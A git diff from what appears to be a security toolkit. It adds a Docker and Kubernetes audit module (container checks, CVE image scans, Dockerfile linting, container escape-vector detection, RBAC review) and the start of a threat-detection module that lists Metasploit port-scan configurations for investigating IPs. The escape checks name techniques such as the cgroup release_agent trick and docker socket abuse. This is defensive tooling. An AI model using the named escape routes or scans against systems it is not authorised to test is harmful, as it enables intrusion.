+ 'PID namespace shared with host!' if info['pid_mode'] == 'host'
+ else f'PID mode: {info["pid_mode"] or "container (isolated)"}',
+ severity='high')
+
+ # 12. Secrets in environment
+ env_secrets = []
+ for e in info.get('env', []):
+ key = e.split('=', 1)[0] if '=' in e else e
+ if SECRET_PATTERNS.search(key):
+ env_secrets.append(key)
+ check('Environment Secrets',
+ len(env_secrets) == 0,
+ f'Possible secrets in ENV: {", ".join(env_secrets)}' if env_secrets
+ else 'No obvious secrets in environment variables',
+ severity='medium')
+
+ score = int((passed / total) * 100) if total > 0 else 0
+
+ result = {
+ 'container_id': container_id,
+ 'name': info.get('name', ''),
+ 'image': info.get('image', ''),
+ 'score': score,
+ 'passed': passed,
+ 'total': total,
+ 'findings': findings,
+ }
+
+ self._results['container_audits'][container_id] = result
+ self._save_results()
+ return result
+
+ # ── Image Operations ─────────────────────────────────────────────────────
+
+ def list_images(self) -> list:
+ """List local Docker images."""
+ docker = find_tool('docker')
+ if not docker:
+ return []
+
+ fmt = '{{json .}}'
+ ok, raw = self._run(f'"{docker}" images --format "{fmt}"')
+ if not ok:
+ return []
+
+ images = []
+ for line in raw.splitlines():
+ line = line.strip()
+ if not line:
+ continue
+ try:
+ img = json.loads(line)
+ images.append({
+ 'id': img.get('ID', ''),
+ 'repo': img.get('Repository', ''),
+ 'tag': img.get('Tag', ''),
+ 'size': img.get('Size', ''),
+ 'created': img.get('CreatedAt', img.get('CreatedSince', '')),
+ })
+ except (json.JSONDecodeError, ValueError):
+ continue
+ return images
+
+ def scan_image(self, image_name: str) -> dict:
+ """Scan a container image for CVEs using trivy or grype."""
+ # Try trivy first
+ trivy = find_tool('trivy')
+ if trivy:
+ ok, raw = self._run(
+ f'"{trivy}" image --format json --severity CRITICAL,HIGH,MEDIUM,LOW '
+ f'--quiet "{image_name}"',
+ timeout=120
+ )
+ if ok:
+ return self._parse_trivy(raw, image_name)
+
+ # Fallback to grype
+ grype = find_tool('grype')
+ if grype:
+ ok, raw = self._run(
+ f'"{grype}" "{image_name}" -o json --quiet',
+ timeout=120
+ )
+ if ok:
+ return self._parse_grype(raw, image_name)
+
+ return {
+ 'image': image_name,
+ 'scanner': None,
+ 'error': 'No scanner available. Install trivy or grype.',
+ 'vulnerabilities': [],
+ 'summary': {},
+ }
+
+ def _parse_trivy(self, raw: str, image_name: str) -> dict:
+ """Parse Trivy JSON output."""
+ vulns = []
+ summary = {'CRITICAL': 0, 'HIGH': 0, 'MEDIUM': 0, 'LOW': 0}
+ try:
+ data = json.loads(raw)
+ results = data.get('Results', [])
+ for r in results:
+ for v in r.get('Vulnerabilities', []):
+ sev = v.get('Severity', 'UNKNOWN').upper()
+ entry = {
+ 'cve': v.get('VulnerabilityID', ''),
+ 'severity': sev,
+ 'package': v.get('PkgName', ''),
+ 'installed_version': v.get('InstalledVersion', ''),
+ 'fixed_version': v.get('FixedVersion', ''),
+ 'title': v.get('Title', ''),
+ }
+ vulns.append(entry)
+ if sev in summary:
+ summary[sev] += 1
+ except (json.JSONDecodeError, ValueError):
+ return {'image': image_name, 'scanner': 'trivy',
+ 'error': 'Failed to parse trivy output', 'vulnerabilities': [], 'summary': {}}
+
+ result = {
+ 'image': image_name,
+ 'scanner': 'trivy',
+ 'vulnerabilities': vulns,
+ 'summary': summary,
+ 'total': len(vulns),
+ }
+ self._results['image_scans'][image_name] = result
+ self._save_results()
+ return result
+
+ def _parse_grype(self, raw: str, image_name: str) -> dict:
+ """Parse Grype JSON output."""
+ vulns = []
+ summary = {'CRITICAL': 0, 'HIGH': 0, 'MEDIUM': 0, 'LOW': 0}
+ try:
+ data = json.loads(raw)
+ for m in data.get('matches', []):
+ v = m.get('vulnerability', {})
+ sev = v.get('severity', 'Unknown').upper()
+ pkg = m.get('artifact', {})
+ fixed = ''
+ fix_vers = v.get('fix', {}).get('versions', [])
+ if fix_vers:
+ fixed = fix_vers[0]
+ entry = {
+ 'cve': v.get('id', ''),
+ 'severity': sev,
+ 'package': pkg.get('name', ''),
+ 'installed_version': pkg.get('version', ''),
+ 'fixed_version': fixed,
+ 'title': v.get('description', '')[:120],
+ }
+ vulns.append(entry)
+ if sev in summary:
+ summary[sev] += 1
+ except (json.JSONDecodeError, ValueError):
+ return {'image': image_name, 'scanner': 'grype',
+ 'error': 'Failed to parse grype output', 'vulnerabilities': [], 'summary': {}}
+
+ result = {
+ 'image': image_name,
+ 'scanner': 'grype',
+ 'vulnerabilities': vulns,
+ 'summary': summary,
+ 'total': len(vulns),
+ }
+ self._results['image_scans'][image_name] = result
+ self._save_results()
+ return result
+
+ # ── Dockerfile Linting ───────────────────────────────────────────────────
+
+ def lint_dockerfile(self, content: str) -> list:
+ """Lint a Dockerfile for security issues."""
+ findings = []
+ lines = content.splitlines()
+ has_user = False
+ has_healthcheck = False
+ consecutive_run = 0
+ max_consecutive_run = 0
+
+ for i, raw_line in enumerate(lines, 1):
+ line = raw_line.strip()
+ if not line or line.startswith('#'):
+ consecutive_run = 0
+ continue
+
+ upper = line.upper()
+
+ # FROM :latest
+ if upper.startswith('FROM '):
+ img = line[5:].strip().split(' ')[0]
+ if ':' not in img or img.endswith(':latest'):
+ findings.append({
+ 'rule': 'DL001', 'line': i,
+ 'severity': DOCKERFILE_RULES['DL001']['severity'],
+ 'title': DOCKERFILE_RULES['DL001']['title'],
+ 'detail': f'Image "{img}" — pin a specific version tag.',
+ })
+
+ # USER directive
+ if upper.startswith('USER '):
+ has_user = True
+
+ # HEALTHCHECK
+ if upper.startswith('HEALTHCHECK '):
+ has_healthcheck = True
+
+ # ADD vs COPY
+ if upper.startswith('ADD ') and not line.strip().startswith('ADD --from'):
+ parts = line[4:].strip()
+ # Skip if it's a URL (ADD has valid URL use)
+ if not parts.startswith('http://') and not parts.startswith('https://'):
+ findings.append({
+ 'rule': 'DL003', 'line': i,
+ 'severity': DOCKERFILE_RULES['DL003']['severity'],
+ 'title': DOCKERFILE_RULES['DL003']['title'],
+ 'detail': f'Line {i}: prefer COPY over ADD for local files.',
+ })
+
+ # Secrets in ENV/ARG
+ if upper.startswith('ENV ') or upper.startswith('ARG '):
+ key = line.split()[1] if len(line.split()) > 1 else ''
+ key = key.split('=')[0]
+ if SECRET_PATTERNS.search(key):
+ findings.append({
+ 'rule': 'DL004', 'line': i,
+ 'severity': DOCKERFILE_RULES['DL004']['severity'],
+ 'title': DOCKERFILE_RULES['DL004']['title'],
+ 'detail': f'Line {i}: "{key}" looks like a secret. Use --secret instead.',
+ })
+
+ # apt-get without --no-install-recommends
+ if 'apt-get install' in line and '--no-install-recommends' not in line:
+ findings.append({
+ 'rule': 'DL006', 'line': i,
+ 'severity': DOCKERFILE_RULES['DL006']['severity'],
+ 'title': DOCKERFILE_RULES['DL006']['title'],
+ 'detail': f'Line {i}: add --no-install-recommends to reduce image size.',
+ })
+
+ # COPY/ADD of sensitive files
+ if upper.startswith('COPY ') or upper.startswith('ADD '):
+ if SENSITIVE_FILE_PATTERNS.search(line):
+ findings.append({
+ 'rule': 'DL009', 'line': i,
+ 'severity': DOCKERFILE_RULES['DL009']['severity'],
+ 'title': DOCKERFILE_RULES['DL009']['title'],
+ 'detail': f'Line {i}: copying potentially sensitive file into image.',
+ })
+
+ # sudo in RUN
+ if upper.startswith('RUN ') and 'sudo ' in line:
+ findings.append({
+ 'rule': 'DL010', 'line': i,
+ 'severity': DOCKERFILE_RULES['DL010']['severity'],
+ 'title': DOCKERFILE_RULES['DL010']['title'],
+ 'detail': f'Line {i}: avoid sudo in Dockerfiles.',
+ })
+
+ # Consecutive RUN
+ if upper.startswith('RUN '):
+ consecutive_run += 1
+ if consecutive_run > max_consecutive_run:
+ max_consecutive_run = consecutive_run
+ else:
+ consecutive_run = 0
+
+ # Post-scan checks
+ if not has_user:
+ findings.append({
+ 'rule': 'DL002', 'line': 0,
+ 'severity': DOCKERFILE_RULES['DL002']['severity'],
+ 'title': DOCKERFILE_RULES['DL002']['title'],
+ 'detail': 'No USER directive found. Container will run as root.',
+ })
+
+ if not has_healthcheck:
+ findings.append({
+ 'rule': 'DL005', 'line': 0,
+ 'severity': DOCKERFILE_RULES['DL005']['severity'],
+ 'title': DOCKERFILE_RULES['DL005']['title'],
+ 'detail': 'No HEALTHCHECK instruction. Add one for orchestration.',
+ })
+
+ if max_consecutive_run >= 3:
+ findings.append({
+ 'rule': 'DL011', 'line': 0,
+ 'severity': DOCKERFILE_RULES['DL011']['severity'],
+ 'title': DOCKERFILE_RULES['DL011']['title'],
+ 'detail': f'{max_consecutive_run} consecutive RUN commands. Chain with && to reduce layers.',
+ })
+
+ # Check for missing cache cleanup
+ if 'apt-get install' in content and 'rm -rf /var/lib/apt/lists' not in content:
+ findings.append({
+ 'rule': 'DL007', 'line': 0,
+ 'severity': DOCKERFILE_RULES['DL007']['severity'],
+ 'title': DOCKERFILE_RULES['DL007']['title'],
+ 'detail': 'apt-get install used without cleaning /var/lib/apt/lists/*.',
+ })
+
+ self._results['dockerfile_lints'] = findings
+ self._save_results()
+ return findings
+
+ # ── Container Escape Detection ───────────────────────────────────────────
+
+ def check_escape_vectors(self, container_id: str) -> dict:
+ """Check for container escape possibilities."""
+ info = self.inspect_container(container_id)
+ if 'error' in info:
+ return info
+
+ vectors = []
+
+ def vec(name, risk, exploitable, detail):
+ vectors.append({
+ 'vector': name,
+ 'risk': risk,
+ 'exploitable': exploitable,
+ 'detail': detail,
+ })
+
+ # 1. Privileged mode — full escape
+ if info['privileged']:
+ vec('Privileged Mode', 'critical', True,
+ 'Container has full access to host devices and kernel. '
+ 'Trivial escape via mounting host filesystem.')
+
+ # 2. Docker socket mount
+ sock_mounted = any(
+ '/var/run/docker.sock' in m.get('source', '') or
+ '/run/docker.sock' in m.get('source', '')
+ for m in info['mounts']
+ )
+ if sock_mounted:
+ vec('Docker Socket Mount', 'critical', True,
+ 'Docker socket mounted inside container. Attacker can spawn '
+ 'privileged containers on the host.')
+
+ # 3. SYS_ADMIN capability
+ if 'SYS_ADMIN' in info.get('cap_add', []):
+ vec('SYS_ADMIN Capability', 'high', True,
+ 'SYS_ADMIN allows mounting filesystems, modifying cgroups. '
+ 'Combined with other misconfigs, can lead to escape.')
+
+ # 4. SYS_PTRACE capability
+ if 'SYS_PTRACE' in info.get('cap_add', []):
+ vec('SYS_PTRACE Capability', 'high', True,
+ 'SYS_PTRACE allows process injection and debugging. '
+ 'Can be used to escape via process injection into host PID.')
+
+ # 5. Host PID namespace
+ if info.get('pid_mode') == 'host':
+ vec('Host PID Namespace', 'high', True,
+ 'Container shares PID namespace with host. Processes visible '
+ 'and injectable from container.')
+
+ # 6. Host network namespace
+ if info.get('network_mode') == 'host':
+ vec('Host Network Namespace', 'medium', False,
+ 'Container shares host network stack. Can sniff host traffic '
+ 'and access services on localhost.')
+
+ # 7. /proc write access
+ proc_mounted = any(
+ m.get('destination', '').startswith('/proc') and m.get('rw', True)
+ for m in info['mounts']
+ )
+ if proc_mounted:
+ vec('/proc Write Access', 'high', True,
+ 'Writable /proc mount can enable kernel parameter modification '
+ 'and cgroup escape techniques.')
+
+ # 8. Kernel version (check for known container escape CVEs)
+ ok, uname = self._run('uname -r 2>/dev/null')
+ if ok and uname:
+ kernel = uname.strip()
+ # Known vulnerable kernel ranges (simplified check)
+ vec('Kernel Version', 'info', False,
+ f'Host kernel: {kernel}. Check against CVE-2022-0185, '
+ f'CVE-2022-0847 (DirtyPipe), CVE-2021-22555.')
+
+ # 9. Cgroup escape
+ if info['privileged'] or 'SYS_ADMIN' in info.get('cap_add', []):
+ vec('Cgroup Escape', 'critical' if info['privileged'] else 'high', True,
+ 'Privileged + cgroup v1 release_agent technique enables full '
+ 'host command execution.')
+
+ # 10. Seccomp disabled
+ if any('seccomp=unconfined' in opt for opt in info.get('security_opt', [])):
+ vec('Seccomp Disabled', 'medium', False,
+ 'No seccomp filter. All syscalls available including '
+ 'those needed for escape techniques.')
+
+ # 11. AppArmor disabled
+ if any('apparmor=unconfined' in opt for opt in info.get('security_opt', [])):
+ vec('AppArmor Disabled', 'medium', False,
+ 'No AppArmor confinement. Reduced protection against '
+ 'filesystem and network abuse.')
+
+ risk_score = 0
+ for v in vectors:
+ w = {'critical': 40, 'high': 25, 'medium': 10, 'low': 5, 'info': 0}
+ risk_score += w.get(v['risk'], 0)
+ risk_score = min(risk_score, 100)
+
+ result = {
+ 'container_id': container_id,
+ 'name': info.get('name', ''),
+ 'vectors': vectors,
+ 'risk_score': risk_score,
+ 'total_vectors': len(vectors),
+ 'exploitable': sum(1 for v in vectors if v['exploitable']),
+ }
+
+ self._results['escape_checks'][container_id] = result
+ self._save_results()
+ return result
+
+ # ── Kubernetes Operations ────────────────────────────────────────────────
+
+ def _kubectl(self, args: str, timeout: int = 30) -> tuple:
+ kubectl = find_tool('kubectl')
+ if not kubectl:
+ return False, 'kubectl not found'
+ return self._run(f'"{kubectl}" {args}', timeout=timeout)
+
+ def _kubectl_json(self, args: str, timeout: int = 30) -> tuple:
+ kubectl = find_tool('kubectl')
+ if not kubectl:
+ return False, 'kubectl not found'
+ return self._run_json(f'"{kubectl}" {args} -o json', timeout=timeout)
+
+ def k8s_get_namespaces(self) -> list:
+ """List Kubernetes namespaces."""
+ ok, data = self._kubectl_json('get namespaces')
+ if not ok:
+ return []
+ namespaces = []
+ for item in data.get('items', []):
+ meta = item.get('metadata', {})
+ namespaces.append({
+ 'name': meta.get('name', ''),
+ 'status': item.get('status', {}).get('phase', ''),
+ 'age': meta.get('creationTimestamp', ''),
+ })
+ return namespaces
+
+ def k8s_get_pods(self, namespace: str = 'default') -> list:
+ """List pods in a namespace."""
+ ok, data = self._kubectl_json(f'get pods -n {namespace}')
+ if not ok:
+ return []
+ pods = []
+ for item in data.get('items', []):
+ meta = item.get('metadata', {})
+ spec = item.get('spec', {})
+ status = item.get('status', {})
+ containers = [c.get('name', '') for c in spec.get('containers', [])]
+ pod_status = status.get('phase', 'Unknown')
+ conditions = status.get('conditions', [])
+ ready = any(c.get('type') == 'Ready' and c.get('status') == 'True'
+ for c in conditions)
+ pods.append({
+ 'name': meta.get('name', ''),
+ 'namespace': meta.get('namespace', namespace),
+ 'status': pod_status,
+ 'ready': ready,
+ 'containers': containers,
+ 'node': spec.get('nodeName', ''),
+ 'age': meta.get('creationTimestamp', ''),
+ 'restart_count': sum(
+ cs.get('restartCount', 0)
+ for cs in status.get('containerStatuses', [])
+ ),
+ })
+ return pods
+
+ def k8s_audit_rbac(self, namespace: Optional[str] = None) -> dict:
+ """Audit RBAC for overly permissive bindings."""
+ findings = []
+
+ # Cluster role bindings
+ ok, data = self._kubectl_json('get clusterrolebindings')
+ if ok:
+ for item in data.get('items', []):
+ meta = item.get('metadata', {})
+ role_ref = item.get('roleRef', {})
+ subjects = item.get('subjects', [])
+
+ if role_ref.get('name') == 'cluster-admin':
+ for subj in subjects:
+ findings.append({
+ 'severity': 'critical',
+ 'type': 'cluster-admin binding',
+ 'binding': meta.get('name', ''),
+ 'subject': f'{subj.get("kind", "")}/{subj.get("name", "")}',
+ 'detail': 'cluster-admin grants full cluster access',
+ })
+
+ # Check for wildcard permissions in cluster roles
+ ok, data = self._kubectl_json('get clusterroles')
+ if ok:
+ for item in data.get('items', []):
+ meta = item.get('metadata', {})
+ role_name = meta.get('name', '')
+ for rule in item.get('rules', []):
+ verbs = rule.get('verbs', [])
+ resources = rule.get('resources', [])
+ api_groups = rule.get('apiGroups', [])
+ if '*' in verbs and '*' in resources:
+ findings.append({
+ 'severity': 'high',
+ 'type': 'wildcard permissions',
+ 'binding': role_name,
+ 'subject': '',
+ 'detail': f'Role "{role_name}" has wildcard verbs and resources '
+ f'on apiGroups: {api_groups}',
+ })
+
+ # Check service account token automount
+ ns_flag = f'-n {namespace}' if namespace else '--all-namespaces'
+ ok, data = self._kubectl_json(f'get serviceaccounts {ns_flag}')
+ if ok:
+ for item in data.get('items', []):
+ meta = item.get('metadata', {})
+ automount = item.get('automountServiceAccountToken', True)
+ if automount and meta.get('name') != 'default':
+ findings.append({
+ 'severity': 'low',
+ 'type': 'token automount',
+ 'binding': meta.get('name', ''),
+ 'subject': f'namespace/{meta.get("namespace", "")}',
+ 'detail': f'SA "{meta.get("name")}" has automountServiceAccountToken enabled',
+ })
+
+ result = {'findings': findings, 'total': len(findings)}
+ self._results['k8s_audits']['rbac'] = result
+ self._save_results()
+ return result
+
+ def k8s_check_secrets(self, namespace: str = 'default') -> dict:
+ """Check for exposed or unencrypted secrets."""
+ findings = []
+
+ ok, data = self._kubectl_json(f'get secrets -n {namespace}')
+ if not ok:
+ return {'error': 'Cannot list secrets', 'findings': []}
+
+ for item in data.get('items', []):
+ meta = item.get('metadata', {})
+ secret_type = item.get('type', '')
+ secret_name = meta.get('name', '')
+ data_keys = list((item.get('data') or {}).keys())
+
+ # Check for default token (legacy, pre-1.24)
+ if secret_type == 'kubernetes.io/service-account-token':
+ findings.append({
+ 'severity': 'info',
+ 'name': secret_name,
+ 'type': secret_type,
+ 'detail': f'SA token secret with keys: {", ".join(data_keys)}',
+ })
+
+ # Check for Opaque secrets with suspicious names
+ if secret_type == 'Opaque':
+ for key in data_keys:
+ if SECRET_PATTERNS.search(key):
+ findings.append({
+ 'severity': 'medium',
+ 'name': secret_name,
+ 'type': secret_type,
+ 'detail': f'Key "{key}" may contain credentials',
+ })
+
+ # Check which pods mount secrets
+ ok, pod_data = self._kubectl_json(f'get pods -n {namespace}')
+ if ok:
+ for pod in pod_data.get('items', []):
+ pod_name = pod.get('metadata', {}).get('name', '')
+ volumes = pod.get('spec', {}).get('volumes', [])
+ for vol in volumes:
+ if vol.get('secret'):
+ findings.append({
+ 'severity': 'info',
+ 'name': vol['secret'].get('secretName', ''),
+ 'type': 'mounted',
+ 'detail': f'Secret mounted in pod "{pod_name}"',
+ })
+
+ result = {'findings': findings, 'total': len(findings), 'namespace': namespace}
+ self._results['k8s_audits']['secrets'] = result
+ self._save_results()
+ return result
+
+ def k8s_check_network_policies(self, namespace: str = 'default') -> dict:
+ """Check if network policies exist and find unprotected pods."""
+ findings = []
+
+ ok, data = self._kubectl_json(f'get networkpolicies -n {namespace}')
+ policies = data.get('items', []) if ok else []
+
+ if not policies:
+ findings.append({
+ 'severity': 'high',
+ 'type': 'no_policies',
+ 'detail': f'No NetworkPolicies found in namespace "{namespace}". '
+ f'All pod-to-pod traffic is allowed.',
+ })
+ return {'findings': findings, 'total': 1, 'namespace': namespace,
+ 'policy_count': 0, 'unprotected_pods': []}
+
+ # Collect pod selectors covered by policies
+ covered_labels = set()
+ for pol in policies:
+ spec = pol.get('spec', {})
+ selector = spec.get('podSelector', {})
+ match_labels = selector.get('matchLabels', {})
+ if not match_labels:
+ covered_labels.add('__all__')
+ else:
+ for k, v in match_labels.items():
+ covered_labels.add(f'{k}={v}')
+
+ # Check pods without matching policies
+ unprotected = []
+ if '__all__' not in covered_labels:
+ ok, pod_data = self._kubectl_json(f'get pods -n {namespace}')
+ if ok:
+ for pod in pod_data.get('items', []):
+ meta = pod.get('metadata', {})
+ labels = meta.get('labels', {})
+ pod_labels = {f'{k}={v}' for k, v in labels.items()}
+ if not pod_labels.intersection(covered_labels):
+ unprotected.append(meta.get('name', ''))
+
+ if unprotected:
+ findings.append({
+ 'severity': 'medium',
+ 'type': 'unprotected_pods',
+ 'detail': f'{len(unprotected)} pod(s) not covered by any NetworkPolicy',
+ })
+
+ result = {
+ 'findings': findings,
+ 'total': len(findings),
+ 'namespace': namespace,
+ 'policy_count': len(policies),
+ 'unprotected_pods': unprotected,
+ }
+ self._results['k8s_audits']['network_policies'] = result
+ self._save_results()
+ return result
+
+ def k8s_audit_pod(self, pod_name: str, namespace: str = 'default') -> dict:
+ """Security audit of a Kubernetes pod."""
+ ok, data = self._kubectl_json(f'get pod {pod_name} -n {namespace}')
+ if not ok:
+ return {'error': f'Cannot get pod {pod_name}'}
+
+ spec = data.get('spec', {})
+ findings = []
+ passed = 0
+ total = 0
+
+ def check(name, ok, detail='', severity='medium'):
+ nonlocal passed, total
+ total += 1
+ if ok:
+ passed += 1
+ findings.append({
+ 'check': name,
+ 'status': 'pass' if ok else 'fail',
+ 'severity': severity if not ok else 'info',
+ 'detail': detail,
+ })
+
+ # Host namespaces
+ check('Host Network',
+ not spec.get('hostNetwork', False),
+ 'Pod uses host network namespace!' if spec.get('hostNetwork') else 'Isolated',
+ severity='high')
+ check('Host PID',
+ not spec.get('hostPID', False),
+ 'Pod uses host PID namespace!' if spec.get('hostPID') else 'Isolated',
+ severity='high')
+ check('Host IPC',
+ not spec.get('hostIPC', False),
+ 'Pod uses host IPC namespace!' if spec.get('hostIPC') else 'Isolated',
+ severity='high')
+
+ # Per-container checks
+ for container in spec.get('containers', []):
+ c_name = container.get('name', 'unknown')
+ sec_ctx = container.get('securityContext', {})
+
+ # Privileged
+ priv = sec_ctx.get('privileged', False)
+ check(f'{c_name}: Privileged',
+ not priv,
+ 'Container is privileged!' if priv else 'Not privileged',
+ severity='critical')
+
+ # Run as root
+ run_as_user = sec_ctx.get('runAsUser')
+ run_as_non_root = sec_ctx.get('runAsNonRoot', False)
+ is_root = run_as_user == 0 or (run_as_user is None and not run_as_non_root)
+ check(f'{c_name}: Root User',
+ not is_root,
+ f'Runs as UID {run_as_user}' if run_as_user and run_as_user != 0
+ else ('runAsNonRoot=true' if run_as_non_root else 'May run as root'),
+ severity='medium')
+
+ # Read-only root filesystem
+ ro = sec_ctx.get('readOnlyRootFilesystem', False)
+ check(f'{c_name}: Read-only Rootfs',
+ ro,
+ 'Root filesystem is read-only' if ro else 'Writable root filesystem',
+ severity='low')
+
+ # Resource limits
+ resources = container.get('resources', {})
+ limits = resources.get('limits', {})
+ has_limits = bool(limits.get('memory') or limits.get('cpu'))
+ check(f'{c_name}: Resource Limits',
+ has_limits,
+ f'Limits: {limits}' if has_limits else 'No resource limits set',
+ severity='medium')
+
+ # Capabilities
+ caps = sec_ctx.get('capabilities', {})
+ cap_add = caps.get('add', [])
+ dangerous = [c for c in cap_add if c in DANGEROUS_CAPS]
+ all_dropped = 'ALL' in caps.get('drop', [])
+ check(f'{c_name}: Capabilities',
+ len(dangerous) == 0 and (all_dropped or not cap_add),
+ f'Dangerous caps: {", ".join(dangerous)}' if dangerous
+ else ('All capabilities dropped' if all_dropped else 'Default capabilities'),
+ severity='high' if dangerous else 'info')
+
+ # Privilege escalation
+ allow_escalation = sec_ctx.get('allowPrivilegeEscalation', True)
+ check(f'{c_name}: Privilege Escalation',
+ not allow_escalation,
+ 'allowPrivilegeEscalation=true' if allow_escalation
+ else 'Privilege escalation disabled',
+ severity='medium')
+
+ # Service account
+ sa = spec.get('serviceAccountName', 'default')
+ automount = spec.get('automountServiceAccountToken', True)
+ check('Service Account',
+ sa != 'default' or not automount,
+ f'SA: {sa}, automount: {automount}',
+ severity='low')
+
+ score = int((passed / total) * 100) if total > 0 else 0
+ result = {
+ 'pod': pod_name,
+ 'namespace': namespace,
+ 'score': score,
+ 'passed': passed,
+ 'total': total,
+ 'findings': findings,
+ }
+ self._results['k8s_audits'][f'pod:{namespace}/{pod_name}'] = result
+ self._save_results()
+ return result
+
+ # ── Export ────────────────────────────────────────────────────────────────
+
+ def export_results(self, fmt: str = 'json') -> dict:
+ """Export all audit results."""
+ self._results['timestamp'] = datetime.utcnow().isoformat()
+ if fmt == 'json':
+ path = self._data_dir / f'container_sec_export_{int(time.time())}.json'
+ with open(path, 'w') as f:
+ json.dump(self._results, f, indent=2, default=str)
+ return {'path': str(path), 'format': 'json', 'success': True}
+ return {'error': f'Unsupported format: {fmt}'}
+
+
+# ── Singleton ────────────────────────────────────────────────────────────────
+
+_instance = None
+
+
+def get_container_sec() -> ContainerSecurity:
+ global _instance
+ if _instance is None:
+ _instance = ContainerSecurity()
+ return _instance
+
+
+# ── CLI Entry Point ──────────────────────────────────────────────────────────
+
+def run():
+ """CLI entry point for Container Security module."""
+ cs = get_container_sec()
+
+ while True:
+ print(f"\n{'='*60}")
+ print(f" Container Security")
+ print(f"{'='*60}")
+ print()
+ print(" 1 — Audit Docker Host")
+ print(" 2 — List Containers")
+ print(" 3 — Audit Container")
+ print(" 4 — Scan Image")
+ print(" 5 — Lint Dockerfile")
+ print(" 6 — K8s Pods")
+ print(" 7 — K8s RBAC Audit")
+ print(" 0 — Back")
+ print()
+
+ choice = input(" > ").strip()
+
+ if choice == '0':
+ break
+
+ elif choice == '1':
+ print("\n [*] Auditing Docker host...")
+ findings = cs.audit_docker_host()
+ if not findings:
+ print(" [-] No findings.")
+ for f in findings:
+ sev = f.get('severity', 'info').upper()
+ status = f.get('status', 'info').upper()
+ color = {'CRITICAL': Colors.RED, 'HIGH': Colors.RED,
+ 'MEDIUM': Colors.YELLOW, 'LOW': Colors.CYAN,
+ 'INFO': Colors.GREEN}.get(sev, Colors.WHITE)
+ print(f" {color}[{sev}]{Colors.RESET} {f['check']}: {f['detail']}")
+
+ elif choice == '2':
+ containers = cs.list_containers(all=True)
+ if not containers:
+ print(" [-] No containers found.")
+ else:
+ print(f"\n {'ID':<14} {'Name':<25} {'Image':<30} {'Status':<15}")
+ print(f" {'-'*14} {'-'*25} {'-'*30} {'-'*15}")
+ for c in containers:
+ print(f" {c['id']:<14} {c['name']:<25} {c['image']:<30} {c['status']:<15}")
+
+ elif choice == '3':
+ cid = input(" Container ID or name: ").strip()
+ if cid:
+ print(f"\n [*] Auditing container {cid}...")
+ result = cs.audit_container(cid)
+ if 'error' in result:
+ print(f" [!] {result['error']}")
+ else:
+ print(f"\n Security Score: {result['score']}% ({result['passed']}/{result['total']})")
+ for f in result['findings']:
+ sym = '+' if f['status'] == 'pass' else '!'
+ color = Colors.GREEN if f['status'] == 'pass' else Colors.YELLOW
+ print(f" {color}[{sym}]{Colors.RESET} {f['check']}: {f['detail']}")
+
+ elif choice == '4':
+ img = input(" Image name (e.g., nginx:latest): ").strip()
+ if img:
+ print(f"\n [*] Scanning {img} for vulnerabilities...")
+ result = cs.scan_image(img)
+ if result.get('error'):
+ print(f" [!] {result['error']}")
+ else:
+ s = result.get('summary', {})
+ print(f" Scanner: {result.get('scanner', '?')}")
+ print(f" Total: {result.get('total', 0)} vulnerabilities")
+ print(f" Critical: {s.get('CRITICAL', 0)} High: {s.get('HIGH', 0)} "
+ f"Medium: {s.get('MEDIUM', 0)} Low: {s.get('LOW', 0)}")
+ for v in result.get('vulnerabilities', [])[:20]:
+ print(f" {v['severity']:<8} {v['cve']:<18} {v['package']:<20} "
+ f"{v['installed_version']} -> {v.get('fixed_version', 'n/a')}")
+
+ elif choice == '5':
+ path = input(" Path to Dockerfile: ").strip()
+ if path and os.path.isfile(path):
+ with open(path) as f:
+ content = f.read()
+ findings = cs.lint_dockerfile(content)
+ if not findings:
+ print(" [+] No issues found.")
+ else:
+ print(f"\n Found {len(findings)} issue(s):")
+ for f in findings:
+ sev = f.get('severity', 'info').upper()
+ line = f"line {f['line']}" if f.get('line') else 'general'
+ print(f" [{sev}] {f['rule']}: {f['title']} ({line})")
+ print(f" {f['detail']}")
+ else:
+ print(" [!] File not found.")
+
+ elif choice == '6':
+ ns = input(" Namespace (default): ").strip() or 'default'
+ pods = cs.k8s_get_pods(namespace=ns)
+ if not pods:
+ print(" [-] No pods found.")
+ else:
+ print(f"\n {'Name':<35} {'Status':<12} {'Node':<20} {'Restarts':<10}")
+ print(f" {'-'*35} {'-'*12} {'-'*20} {'-'*10}")
+ for p in pods:
+ print(f" {p['name']:<35} {p['status']:<12} {p['node']:<20} {p['restart_count']:<10}")
+
+ elif choice == '7':
+ ns = input(" Namespace (blank for all): ").strip() or None
+ print("\n [*] Auditing RBAC...")
+ result = cs.k8s_audit_rbac(namespace=ns)
+ if not result.get('findings'):
+ print(" [+] No RBAC issues found.")
+ else:
+ print(f" Found {result['total']} issue(s):")
+ for f in result['findings']:
+ sev = f.get('severity', 'info').upper()
+ print(f" [{sev}] {f['type']}: {f.get('binding', '')} — {f['detail']}")
diff --git a/modules/counter.py b/modules/counter.py
new file mode 100644
index 0000000..57a0a98
--- /dev/null
+++ b/modules/counter.py
@@ -0,0 +1,1027 @@
+"""
+AUTARCH Counter Module
+Threat detection and incident response
+
+Monitors system for suspicious activity and potential threats.
+"""
+
+import os
+import sys
+import subprocess
+import re
+import socket
+import json
+import time
+from pathlib import Path
+from datetime import datetime, timedelta
+from collections import Counter
+from dataclasses import dataclass
+from typing import Dict, List, Optional, Any
+
+# Module metadata
+DESCRIPTION = "Threat detection & incident response"
+AUTHOR = "darkHal"
+VERSION = "2.0"
+CATEGORY = "counter"
+
+sys.path.insert(0, str(Path(__file__).parent.parent))
+from core.banner import Colors, clear_screen, display_banner
+
+# Try to import requests for GeoIP lookup
+try:
+ import requests
+ REQUESTS_AVAILABLE = True
+except ImportError:
+ requests = None
+ REQUESTS_AVAILABLE = False
+
+
+@dataclass
+class LoginAttempt:
+ """Information about a login attempt from an IP."""
+ ip: str
+ count: int
+ last_attempt: Optional[datetime] = None
+ usernames: List[str] = None
+ hostname: Optional[str] = None
+ country: Optional[str] = None
+ city: Optional[str] = None
+ isp: Optional[str] = None
+ geo_data: Optional[Dict] = None
+
+ def __post_init__(self):
+ if self.usernames is None:
+ self.usernames = []
+
+
+# Metasploit recon modules for IP investigation
+MSF_RECON_MODULES = [
+ {
+ 'name': 'TCP Port Scan',
+ 'module': 'auxiliary/scanner/portscan/tcp',
+ 'description': 'TCP port scanner - scans common ports',
+ 'options': {'PORTS': '21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080'}
+ },
+ {
+ 'name': 'SYN Port Scan',
+ 'module': 'auxiliary/scanner/portscan/syn',
+ 'description': 'SYN stealth port scanner (requires root)',
